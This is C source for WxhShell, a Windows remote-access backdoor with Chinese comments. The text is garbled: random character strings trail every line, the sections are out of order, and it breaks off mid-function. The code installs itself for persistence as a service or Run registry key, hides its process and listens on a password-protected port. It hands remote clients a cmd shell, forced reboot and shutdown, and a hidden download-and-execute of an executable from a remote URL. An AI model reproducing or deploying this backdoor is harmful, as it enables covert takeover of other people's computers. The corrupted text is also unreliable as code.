  // 关机 eKLvBa-{@  
  case 'd': { }6Pbjm*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); AA\)BNM  
    if(Boot(SHUTDOWN)) e'b*_Ps'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lxd{T3LU  
    else { m .++nF  
    closesocket(wsh); #-|fdcb  
    ExitThread(0); 1dvP2E  
    } ` wa;@p+j8  
    break; MlTC?Rp#  
    } NuOA'e+i  
  // 获取shell 3a:Hx| Yg  
  case 's': { 8Z !%rS  
    CmdShell(wsh); 'Agw~ &$  
    closesocket(wsh); %g :Q?   
    ExitThread(0); c5p,~z_Dtu  
    break; {@X>!]  
  } tE %g)hL-  
  // 退出 W"=l@}I  
  case 'x': { $9%F1:u  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Y:CX RU6eD  
    CloseIt(wsh); QC'Ru'8S  
    break; >/ _#+,  
    } T]wC?gQG  
  // 离开 l/k-` LeW  
  case 'q': { )qx;/=D  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); G]h_z|$K  
    closesocket(wsh); B=Kr J{&!  
    WSACleanup(); $SQ$2\iC  
    exit(1); SM~~:  
    break; gk%01&_>4  
        } V u")%(ix  
  } )\yK61aX  
  } 6UCF w>  
<M9NyD`  
  // 提示信息 ?22U0UF  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s AFn.W  
} :uo)-9_  
  } =`x }9|[  
1 b 7jNkQ  
  return; b |:Y3_>  
} "{8j!+]4i  
JuZkE9C,${  
// shell模块句柄 7V%P  
int CmdShell(SOCKET sock) -sJ1q^;f@  
{ !aSj1 2J  
STARTUPINFO si; Oj-\  
ZeroMemory(&si,sizeof(si)); ?Uq"zq  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;6@sC[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; HGAi2+&  
PROCESS_INFORMATION ProcessInfo; s(py7{ ^K  
char cmdline[]="cmd"; 'goKYl#1Q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *=i&n>  
  return 0; <ll?rPio"  
} ]Ea-MeH  
JDf>Qg{  
// 自身启动模式 ![Qi+xyc  
int StartFromService(void) xHt7/8wF  
{ 4Q!A w  
typedef struct m 3UK`~ji  
{ \k5"&]I3  
  DWORD ExitStatus; {9(0s| pr  
  DWORD PebBaseAddress; -ED} 6E  
  DWORD AffinityMask; y pEMx'p  
  DWORD BasePriority; dC,C[7\  
  ULONG UniqueProcessId; 5r)8MklZ  
  ULONG InheritedFromUniqueProcessId; \v&zsv\B@  
}   PROCESS_BASIC_INFORMATION; U[MeK)*  
xO_>%F^?  
PROCNTQSIP NtQueryInformationProcess; xc*a(v0  
q\@_L.tc[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =4`wYh  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; umns*U%T;  
id" `o  
  HANDLE             hProcess; i&m_G5u88  
  PROCESS_BASIC_INFORMATION pbi; 2.WI".&y=  
%16Lo<DPm  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); WOZuFS13  
  if(NULL == hInst ) return 0; %|e)s_%XE  
-E1-(TS  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d<d3j9u(#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); CNb(\]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @'>RGaPV  
.X%J}c$  
  if (!NtQueryInformationProcess) return 0; EMP|I^  
)Xqjl  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); FD[*Q2fU  
  if(!hProcess) return 0; O*v&C Hd3  
vyDxX  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _yg;5#3  
Lfn$Q3}O`$  
  CloseHandle(hProcess); :!MEBqcU  
{U2AAQSa  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x</4/d  
if(hProcess==NULL) return 0; T/E=?kBR  
T#Q7L~?zY  
HMODULE hMod; <oJ?J^  
char procName[255]; Y_Fn)(  
unsigned long cbNeeded; hu$eO'M_  
>%;i@"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?PWg  
6YU,> KP  
  CloseHandle(hProcess); pMT7/y-  
~bkO8tn  
if(strstr(procName,"services")) return 1; // 以服务启动 k 6M D3c  
el`?:dY H  
  return 0; // 注册表启动 y>}r  
} h&K$(}X  
R& t*x  
// 主模块 Hrpz4E%\Aw  
int StartWxhshell(LPSTR lpCmdLine) V\m"Hl>VIU  
{ .O"a:^i  
  SOCKET wsl; W+ ;=8S  
BOOL val=TRUE; 3" m]A/6C}  
  int port=0; *-PjcF}Y  
  struct sockaddr_in door; e4Nd  
@*|VWHR  
  if(wscfg.ws_autoins) Install(); g;=VuQuP|  
xI{fd1  
port=atoi(lpCmdLine); R_B0CM<!  
27N;>   
if(port<=0) port=wscfg.ws_port; )qb'tZz/g_  
OW#0$%f  
  WSADATA data; 6&0@k^7~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5@+?{Cl  
<[\I`kzq  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +# 'w} P  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); d)1gpRp  
  door.sin_family = AF_INET; AE>W$x8P  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Bk\Y v0  
  door.sin_port = htons(port); msgR"T3'  
o3hgkoF   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _!1LV[x!s  
closesocket(wsl); F}{%*EJ  
return 1; QP.Lq }  
} -9FGFBm4]  
ld ]*J}cw  
  if(listen(wsl,2) == INVALID_SOCKET) { 1s(T#jh  
closesocket(wsl); g ptf*^s  
return 1; xjr4')h  
} T`wDdqWbEG  
  Wxhshell(wsl); SI~jM:S}  
  WSACleanup(); jbipNgxkr  
vN^.MR+<  
return 0; V3ht:>c9qs  
~D3 S01ecM  
} s>o#Ob@4'  
)KE  
// 以NT服务方式启动 &*>.u8:r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :.ZWYze  
{ tnobqL'  
DWORD   status = 0; iGSJ\  
  DWORD   specificError = 0xfffffff; dscah0T  
H2BRI d  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -y|J_;EG  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %Zk6K!MY#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; d~qQ_2M[G  
  serviceStatus.dwWin32ExitCode     = 0; 9no<;1+j,  
  serviceStatus.dwServiceSpecificExitCode = 0; WF`%7A39Af  
  serviceStatus.dwCheckPoint       = 0; E>s+"y  
  serviceStatus.dwWaitHint       = 0; zQulPU  
Zpg;hj5_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); enJ; #aA  
  if (hServiceStatusHandle==0) return; Qwpni^D8j  
uQ-GJI^t  
status = GetLastError(); =( |%%,3  
  if (status!=NO_ERROR) :W,S  
{ PolJo?HZ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {EvT7W  
    serviceStatus.dwCheckPoint       = 0; `;Tf_6c  
    serviceStatus.dwWaitHint       = 0; 6=]Gom&S  
    serviceStatus.dwWin32ExitCode     = status; Q~nVbj?c2v  
    serviceStatus.dwServiceSpecificExitCode = specificError; ':pDlUA  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ns>$  
    return; A .&c>{B7  
  } w@^J.7h^  
*@''OyL  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Mc.{I"c@  
  serviceStatus.dwCheckPoint       = 0; |gI>Sp%Fu  
  serviceStatus.dwWaitHint       = 0; pFS@yHs  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Uo >aQk  
} (0.oE%B",1  
pL1ABvBB  
// 处理NT服务事件,比如:启动、停止 Rb:H3zh  
VOID WINAPI NTServiceHandler(DWORD fdwControl) x3cjyu<K  
{ r%f Q$q>  
switch(fdwControl) %]}JWXo f  
{ : |s;2Y  
case SERVICE_CONTROL_STOP: C33Jzn's  
  serviceStatus.dwWin32ExitCode = 0; GP c B(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  Kg';[G\  
  serviceStatus.dwCheckPoint   = 0; (|<S%?}J  
  serviceStatus.dwWaitHint     = 0; fX`u"`o5  
  {  bUS:c 2"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Oq~{HJ{  
  } 5kw  K%  
  return; Gw3+TvwU+Q  
case SERVICE_CONTROL_PAUSE: QIMd`c  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6:G&x<{  
  break; GKIzU^f  
case SERVICE_CONTROL_CONTINUE: n7bVL#Sq[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; X1(ds*'Kv  
  break; @/kI;8  
case SERVICE_CONTROL_INTERROGATE: Q,5PscE6&k  
  break; dh`s^D6Q>  
}; [T_[QU:A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); aeUgr !  
} 6d]4 %QT  
a%Q`R;W  
// 标准应用程序主函数 c qCNk  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ):PN0.H8  
{ xF!IT"5D  
wA$7SWC  
// 获取操作系统版本 O80Z7  
OsIsNt=GetOsVer(); xcw:H&\w6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); > Hv9Xz  
`3\U9ZH23  
  // 从命令行安装 I%r7L  
  if(strpbrk(lpCmdLine,"iI")) Install(); $/"Ymm#"\Y  
@`KbzN_h/  
  // 下载执行文件 =hTJp/L  
if(wscfg.ws_downexe) {  #B~ ;j5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) W,[ RB  
  WinExec(wscfg.ws_filenam,SW_HIDE); HD KF>S_S  
} mbbhz,  
5V/&4$.U!  
if(!OsIsNt) { Z0Sqw  
// 如果时win9x,隐藏进程并且设置为注册表启动 Z~Q5<A9Jz  
HideProc(); tRU/[?!  
StartWxhshell(lpCmdLine); >97YK =  
} CbM~\6 R  
else NOs00H  
  if(StartFromService()) ?MFC(Wsh  
  // 以服务方式启动 C '[4jz0xF  
  StartServiceCtrlDispatcher(DispatchTable); {2q"9Ox"  
else [!%5(Ro_  
  // 普通方式启动 t`Bk2Cc)+  
  StartWxhshell(lpCmdLine); } 9zi5 o8  
o=Z:0Ukl]  
return 0; *Hn=)q  
} zqj|$YNC  
Fxa{ 9'99  
,|RKM  
i}8OaX3x  
=========================================== (.N n|lY<i  
12#yHsk  
O:GPuVb\  
fGV'l__\\  
Fy5:|C N  
{H,O@  
" %R4 \[e  
DtBvfYO8)>  
#include <stdio.h> HR?T  
#include <string.h> Wy-_}wqHg  
#include <windows.h> AAfU]4u0S  
#include <winsock2.h> ,K}"o~z  
#include <winsvc.h> f B<Qs.T  
#include <urlmon.h> O8#]7\)  
vX>{1`e{S  
#pragma comment (lib, "Ws2_32.lib") ,$t1LV;o=  
#pragma comment (lib, "urlmon.lib") EFDmNud`Q  
[@qjy*5p  
#define MAX_USER   100 // 最大客户端连接数 $A~aNI  
#define BUF_SOCK   200 // sock buffer ILDO/>n  
#define KEY_BUFF   255 // 输入 buffer &V axv$v}  
!j7mY9x+  
#define REBOOT     0   // 重启 AB%i|t  
#define SHUTDOWN   1   // 关机 " l|`LjP5M  
[H\0 '  
#define DEF_PORT   5000 // 监听端口 r[ k  
<[ dt2)%L>  
#define REG_LEN     16   // 注册表键长度 " TCJT390  
#define SVC_LEN     80   // NT服务名长度 h(kPf ]0  
wclj9&k  
// 从dll定义API k+[oYd  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); rx| ,DI  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4j0;okQWV'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8cZ[Kl%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); FP&Ykx~  
lGahwn:  
// wxhshell配置信息 O6$,J1 2l  
struct WSCFG { j9c:SP5  
  int ws_port;         // 监听端口 q<.k:v&  
  char ws_passstr[REG_LEN]; // 口令 U^[AW$WzU  
  int ws_autoins;       // 安装标记, 1=yes 0=no i;~.kgtq4  
  char ws_regname[REG_LEN]; // 注册表键名 :-59~8&  
  char ws_svcname[REG_LEN]; // 服务名 yD \Kn{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &^&0,g?To  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?i0u)< H  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Il\{m?Y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9E5*%Hu_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" k {{eyC  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ._p2"<  
? Lxc1  
}; Z~(X[Zl :  
VG7#C@>Z  
// default Wxhshell configuration vt"bB  
struct WSCFG wscfg={DEF_PORT, bO$KV"*!  
    "xuhuanlingzhe", xH28\]F5n  
    1, <J~6Q  
    "Wxhshell", XjzGtZ#6  
    "Wxhshell", g3'dkS!  
            "WxhShell Service", PfYeV/M|  
    "Wrsky Windows CmdShell Service", eI`%J3BxR  
    "Please Input Your Password: ", (5`(H.(  
  1, A]QGaWK  
  "http://www.wrsky.com/wxhshell.exe", ;XNC+mPK  
  "Wxhshell.exe" KRm)|bgE  
    }; 9qi|)!!L  
07qjWo/t  
// 消息定义模块 |Z>}#R!,P  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ShtV2}s|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; d$\n@}8eZp  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1M)88&  
char *msg_ws_ext="\n\rExit."; )X*_oH=  
char *msg_ws_end="\n\rQuit."; 1)}hzA  
char *msg_ws_boot="\n\rReboot..."; %t* 9sh  
char *msg_ws_poff="\n\rShutdown..."; JI-.SR  
char *msg_ws_down="\n\rSave to "; AWFq5YMSI  
I^LU*A=  
char *msg_ws_err="\n\rErr!"; V`/c#y||  
char *msg_ws_ok="\n\rOK!"; D)4#AI  
n|.eL8lX.<  
char ExeFile[MAX_PATH]; :Id8N~g  
int nUser = 0; [KGj70|~  
HANDLE handles[MAX_USER]; \{*`-P v  
int OsIsNt; g|^U?|;p  
TRgj`FG  
SERVICE_STATUS       serviceStatus; lM#/F\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ulg=,+%r  
3^H-,b0^  
// 函数声明 qOD^ P  
int Install(void); VtN@B*  
int Uninstall(void); eGKvzu  
int DownloadFile(char *sURL, SOCKET wsh); kG4])qxC'  
int Boot(int flag); j/wQ2"@a  
void HideProc(void); k;Qm%B  
int GetOsVer(void); b:O_PS5h  
int Wxhshell(SOCKET wsl); \qW^AD(it<  
void TalkWithClient(void *cs); T|$tQgY^  
int CmdShell(SOCKET sock); l9%ckC*q  
int StartFromService(void); ZZ}HgPZ  
int StartWxhshell(LPSTR lpCmdLine); =mwAbh)[7n  
] -C*d$z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Ea" -n9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); iqX%pR~Yo  
BUI#y `J  
// 数据结构和表定义 ;x|? N*  
SERVICE_TABLE_ENTRY DispatchTable[] = |P9MhfN  
{ ;l `(1Q/  
{wscfg.ws_svcname, NTServiceMain}, !*qQ 7  
{NULL, NULL} n|.>41bJ  
}; 9O&MsTmg$  
_jCu=l_  
// 自我安装 W`#E[g?]  
int Install(void) |1!OwQax  
{ iH)vLD  
  char svExeFile[MAX_PATH]; Lrt~Q:z2u  
  HKEY key; j}}as  
  strcpy(svExeFile,ExeFile); oO &%&;[/A  
%t.\J:WN;  
// 如果是win9x系统,修改注册表设为自启动 e9k$5ps  
if(!OsIsNt) { S}/ZHo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y)S f;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }*P;kV  
  RegCloseKey(key); ucLh|}jJ5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h=au`o&CG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SrdCLT8  
  RegCloseKey(key); "5sUE!)f  
  return 0; 44B9JA7u  
    } }p9#Bzc  
  } ZD?LsD3  
} zU|'IW&  
else { 5NK yF  
}&Xf<6  
// 如果是NT以上系统,安装为系统服务 IQ~EL';<w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); h5E<wyd96.  
if (schSCManager!=0) caTKi8  
{ ?|<p^:  
  SC_HANDLE schService = CreateService u]3VK  
  ( q"g4fzCD  
  schSCManager, =p8iYtI  
  wscfg.ws_svcname, We"\nOP  
  wscfg.ws_svcdisp, l2!ztK1^  
  SERVICE_ALL_ACCESS, m0Uk*~Gz  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]>(pQD  
  SERVICE_AUTO_START, kI*f}3)Y  
  SERVICE_ERROR_NORMAL, Zqg AgN@  
  svExeFile, FePWr7Ze  
  NULL, t/x]vCP,2D  
  NULL, Zq/=uB7Z  
  NULL, :7qJ[k{g  
  NULL, >6zWOYd  
  NULL }"^d<dvuz  
  ); ~X) 1!Sr  
  if (schService!=0) C !Lu`y  
  { 0)|;uW  
  CloseServiceHandle(schService); =\jPnov!  
  CloseServiceHandle(schSCManager); pN;Tt+}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y2x)<.cDP  
  strcat(svExeFile,wscfg.ws_svcname); ^12}#I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { LtDGu})1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !xC IvKW  
  RegCloseKey(key); `=W#owAF  
  return 0; PtKrks|y  
    } A$J?-  
  } EhIa31>X  
  CloseServiceHandle(schSCManager); WWIQ6EJO  
} .Dyxul  
} *ur[u*g  
H#I%6k*\a  
return 1; `hl1R3nBM  
}  {0} Q5  
JZrZDW>M  
// 自我卸载  B}h8c  
int Uninstall(void) % ELf 7~  
{ ^;mGOjS  
  HKEY key; +&)&Ny$W  
Et"B8@'P  
if(!OsIsNt) { vo'{phtF)M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ")GrQv a  
  RegDeleteValue(key,wscfg.ws_regname); z]Mu8  
  RegCloseKey(key); 6Y= MW{=F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p~t5PU*(  
  RegDeleteValue(key,wscfg.ws_regname); sC RmLUD  
  RegCloseKey(key); b@N*W]  
  return 0; bdyE9t   
  } @1peJJ{  
} [JX=<a)U  
} *| YR8f  
else { 'y:+w{I2o  
@arMg2"o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); X$$b:q  
if (schSCManager!=0) sJcwN.s  
{ v>p~y u+G  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); x;>~;vmi  
  if (schService!=0) E{Y)=tW[  
  { U3ao:2zP  
  if(DeleteService(schService)!=0) { gl"1;C  
  CloseServiceHandle(schService); lJXihr  
  CloseServiceHandle(schSCManager); <nT).S>+  
  return 0; h*zHmkFR  
  } 9|LV x3]  
  CloseServiceHandle(schService); 2sqNTuO6,|  
  } ]g0\3A  
  CloseServiceHandle(schSCManager); \bWo"Yo  
} 8G p%Q  
} dI9u: -  
JNgl  
return 1; rXg#_c5j  
} b+ v!3|  
NYN(2J  
// 从指定url下载文件 K.2l)aRd  
int DownloadFile(char *sURL, SOCKET wsh) /M8&`  
{ ]$a,/Jt  
  HRESULT hr; 79Si^n1\  
char seps[]= "/"; K9N\E"6ZP  
char *token; `!iVMTp  
char *file; G~Mxh,aD$>  
char myURL[MAX_PATH]; 9"mcN3x:\e  
char myFILE[MAX_PATH]; LIDYKKDJ^  
#1` lJ  
strcpy(myURL,sURL); ob;$yn7ZO1  
  token=strtok(myURL,seps); <gc\ ,P<ru  
  while(token!=NULL) hiA%Tq?  
  { OBmmOswg~  
    file=token; +zLh<q0  
  token=strtok(NULL,seps); V9i[ dF  
  } 4XL]~3 c  
)'gO?cN  
GetCurrentDirectory(MAX_PATH,myFILE); (#;<iu}  
strcat(myFILE, "\\"); $j!VJGVG  
strcat(myFILE, file); _3?7iH  
  send(wsh,myFILE,strlen(myFILE),0); F`\7&'I  
send(wsh,"...",3,0); ZI'Mr:z4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); an9k2 F.)  
  if(hr==S_OK) ~kAen  
return 0; XT 'v7  
else MX{p)(HW  
return 1; ir*T ,O 2J  
%.*?i9}  
} hJ1:#%Qe.  
XN1\!CM8  
// 系统电源模块 *w;=o}`  
int Boot(int flag) 89{@2TXR  
{ ?~>#(Q  
  HANDLE hToken; (qM(~4|`  
  TOKEN_PRIVILEGES tkp; 3d@$iAw1<  
O*7Gl G  
  if(OsIsNt) { /_G^d1T1?L  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,5L[M&5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); qhiO( !jK  
    tkp.PrivilegeCount = 1; HC*V\vz  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5+[`x ']l  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5U^  
if(flag==REBOOT) { <_"^eF+fZ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) E1e#E3Yq}s  
  return 0; T m0m$l  
} BejeFV3  
else { gqf*;Z eU  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) T]tG,W1>i  
  return 0; Gf{FFIe(  
} AK*F,H9  
  } U0kEhMIIf  
  else { ywRw i~  
if(flag==REBOOT) { .(8sa8{N  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) V:w=h>z8  
  return 0; eQUm!9)  
} *[eh0$  
else { _XqD3?yH4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f;;(Q-.  
  return 0; 3K57xJzK  
} SH/KC  
} 8[|RsM   
)./%/ _*K  
return 1; i2EXE0;  
} 6(`Bl$M9  
hK t c  
// win9x进程隐藏模块 ~#b&UR  
void HideProc(void) \*V`w@  
{ Z+< zKn}  
k-b0Eogp]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); T*%Q s&x ;  
  if ( hKernel != NULL ) A:3:Cr  
  { 9aE!! (E  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6_# >s1`R  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); d|9B3I*I  
    FreeLibrary(hKernel); Lit@ m2{\  
  } tDl1UX  
K)AJx"  
return; S"Dw8_y7}  
} c bk|LQ.O  
? D?XaRb  
// 获取操作系统版本 fr1/9E;  
int GetOsVer(void) $Y!$I.+  
{ _[,oP s:+  
  OSVERSIONINFO winfo; 'Zdjd]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1{sfDw[s  
  GetVersionEx(&winfo); /OpVr15  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4q`$nI Bi  
  return 1; (\ze T5  
  else P-?ya!@"  
  return 0; Ed%8| M3  
} J0e~s  
RfMrGC^?  
// 客户端句柄模块 qd9CKd  
int Wxhshell(SOCKET wsl) mE"?{~XVL  
{ (YbRYu  
  SOCKET wsh; S[bFS7[  
  struct sockaddr_in client; j#TtY|Po  
  DWORD myID; \B'rWk 33,  
1%YjY"j+  
  while(nUser<MAX_USER) 3@r_t|j  
{ ]8|cV GMa  
  int nSize=sizeof(client); .cTK\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); jrMY]Ea2`  
  if(wsh==INVALID_SOCKET) return 1; ubn`w=w$  
>4A~?=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,1"w2,=  
if(handles[nUser]==0) H*DWDJxmV  
  closesocket(wsh); :RsO $@0G  
else l@8UL</W  
  nUser++; F j_r n  
  } H1(Zz n1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); XCNfogl  
A Z7  
  return 0; Nj2f?',;U  
} 5YlY=J  
Dl kHE8r\  
// 关闭 socket (GVH#}uB  
void CloseIt(SOCKET wsh) =|lKB;  
{ NzmVQ-4  
closesocket(wsh); km; M!}D  
nUser--; ?NZKu6  
ExitThread(0); P&@:''  
} Hnv{sND[  
"#4p#dM0e  
// 客户端请求句柄 8KioL{h  
void TalkWithClient(void *cs) N`tBDl"ld  
{ c$)Y$@D  
Jl^Rz;bQ-  
  SOCKET wsh=(SOCKET)cs; x(/KHpSWK  
  char pwd[SVC_LEN]; h)EHaaf  
  char cmd[KEY_BUFF]; SCClD6k=V  
char chr[1]; HSk gS  
int i,j; Y"G U"n~  
I*/?*p/I  
  while (nUser < MAX_USER) { ?j^[7  
IR(6  
if(wscfg.ws_passstr) { a D*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nR7 usL  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a1;P2ikuK  
  //ZeroMemory(pwd,KEY_BUFF); qc}r.'p  
      i=0; x&6SjlDb$K  
  while(i<SVC_LEN) { &+?JY|u  
@(Mg>.P  
  // 设置超时 \bze-|C  
  fd_set FdRead; r7z8ICX'q  
  struct timeval TimeOut; D"WqJcDt  
  FD_ZERO(&FdRead); ,?"cKdiZ  
  FD_SET(wsh,&FdRead); pKf]&?FX  
  TimeOut.tv_sec=8; |kwBb>V  
  TimeOut.tv_usec=0; 5cbtMNP  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $EjM )  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4J=6A4O5Z  
3:Aw.-,i\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pA(B~9WQ  
  pwd=chr[0]; ~429sT(   
  if(chr[0]==0xd || chr[0]==0xa) { <#U9ih 2  
  pwd=0; Y<U"}}  
  break; ew(CfW2  
  } ~{,U%B  
  i++; |wASeZMO2  
    } MB9tnGO-Q  
h)[{{JSf  
  // 如果是非法用户,关闭 socket =yv_i]9AN  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); s? /#8 `  
} =HT:p:S  
Ys@M1o  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ecK{+Z'G  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bI)ItC_wf!  
 (f DA  
while(1) { E|ce[|2  
60KhwD1  
  ZeroMemory(cmd,KEY_BUFF); Tu Q@b  
xtef18i>  
      // 自动支持客户端 telnet标准   1Ih.?7}  
  j=0; I\JJ7/S`t  
  while(j<KEY_BUFF) { 5!2^|y4r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *Mf;  
  cmd[j]=chr[0]; oVPtA@  
  if(chr[0]==0xa || chr[0]==0xd) { Oj<.3U[C  
  cmd[j]=0;  8+no>%L  
  break; GE`:bC3  
  } ,f`435R  
  j++; k r0PL)$  
    } #hEN4c[Ex  
+.N3kH  
  // 下载文件 0MK|spc  
  if(strstr(cmd,"http://")) { G1 ?."  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +8e~jf3E1  
  if(DownloadFile(cmd,wsh)) h+e Oe}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); si.A"\bm  
  else i)nb^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3,~M`~B  
  } 808E)  
  else { fsU6o4  
